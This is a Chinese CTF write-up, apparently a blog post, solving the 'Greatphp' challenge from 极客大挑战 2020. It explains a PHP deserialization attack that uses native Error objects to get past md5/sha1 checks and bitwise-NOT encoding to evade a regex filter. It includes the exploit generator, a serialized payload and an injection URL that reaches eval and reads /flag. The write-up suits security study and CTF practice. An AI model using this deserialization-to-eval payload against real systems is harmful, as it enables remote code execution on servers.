[极客大挑战 2020]Greatphp1

知识点: 1. PHP原生类在CTF中的利用

             2. <?=?>  <=> <?php echo?> 以及 <??> <=> <?php ?> 的变形

             3. 正则表达式的取反绕过

进入页面又是熟悉的php的代码审计.

 <?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

话不多说,开始审计,上半部分定义了一个 SYCLOVER 的类,存在 2 个属性syc和lover,同时还定义了一个wake方法将这2个属性进行强类型比较,和正则匹配,并且syc会传入eval函数,下半部分就是传入一个great的参数,对这个参数进行反序列化,所以我们目标就明确了,我们需要绕过这个强类型比较,之后在绕过正则表达,最后执行寻找flag的命令.

那么我们继续分析:

        首先,这个强类型比较绕过是可以通过数组的方式绕过的,但是考虑到我们下面的eval函数不能传入数组,因为我们还要构造寻找flag的payload呢.

        所以,我们可以通过PHP的原生类来进行绕过(Error 或者 Exception),这两个类中呢存在一个_toString()的方法属性,意思就是当这两个类的对面需要被转换成字符串的时候就会调用 _toString()

这个方法将对象转换成字符串,而在强类型比较是md5()以及sha1()会将对象转化为字符串从而调用_toString(),我们来做一个小小的实验.

        知识点:

在 PHP 的 Exception 类中,构造函数实际上可以接收三个参数,尽管在大多数情况下,只使用前两个参数就足够了。这三个参数分别是:

消息(message):这是一个字符串,用于描述异常的具体原因或情况。它是构造函数的第一个参数,也是必须提供的参数。

代码(code):这是一个整数,用于提供异常的特定代码。它是可选的,但在某些情况下,它可能有助于识别或分类异常。如果没有提供,它默认为 0。

前一个异常(previous):这是一个 Exception 对象,用于表示当前异常之前发生的异常。这是可选的,但在处理异常的链式传递时非常有用。如果提供了这个参数,那么当前的异常就被视为前一个异常的“子异常”或“后继异常”。

而当该对象作为字符串输出是之后输出消息以及错误代码的行数  ( 重点 )

<?php
$a = new Exception("payload",1);$b = new Exception("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
?>



结果:
    Exception: payload in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2
Stack trace:
#0 {main}



    Exception: payload in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2
Stack trace:
#0 {main}

所以我们可以通过上面的特性来绕过强类型比较.

之后来构造payload来实现获取flag  注意:上面实现的payload我们可以自己控制

所以我们可以通过 include "/flag" 命令来去把flag值显示在页面上,同时为了绕过正则表达的双引号我们可以通过取反来绕过,那么服务器拿到的效果就是:Exception: include "/flag" in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace:  ,有点乱很抽象所以我们需要闭合<?php 来实现我们包含flag文件的效果,又因为正则表达过滤了php我们可以用<?php ?> <=> <?=?>来绕过.

所以开始构造exp

<?php
class SYCLOVER {
    public $syc;
    public $lover;

    public function __construct($b,$c){
        $this->syc = $b;
        $this->lover = $c;
    }
}
$in = ~("/flag");
$payload = "?><?=include~".$in."?>";
$b = new error($payload,1);$c=new error($payload,2);
$a = new SYCLOVER($b,$c);
echo(urlencode(serialize($a)));
?>

运行地址:

 线上PHP运行环境 

执行结果:

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

效果就成了 :  Exception: ?><?=include "/flag"?> in /tmp/sandbox.s0-s0;c501,c742/home/.code.tio:2 Stack trace:

解释一下就是:<?php echo include "/flag"?> 会被执行从而获取到flag的value了,而后面多余的报错会被当成文本内容输出,并且会多一个 “1” ,这个 “1” 是include包含成功返回给echo的.

那么开始注入:

http://bfacc4a6-96f6-46d0-8007-ccff7ec494c7.node5.buuoj.cn:81/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

得到flag游戏结束. 

参考文献:PHP原生类

  • 25
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值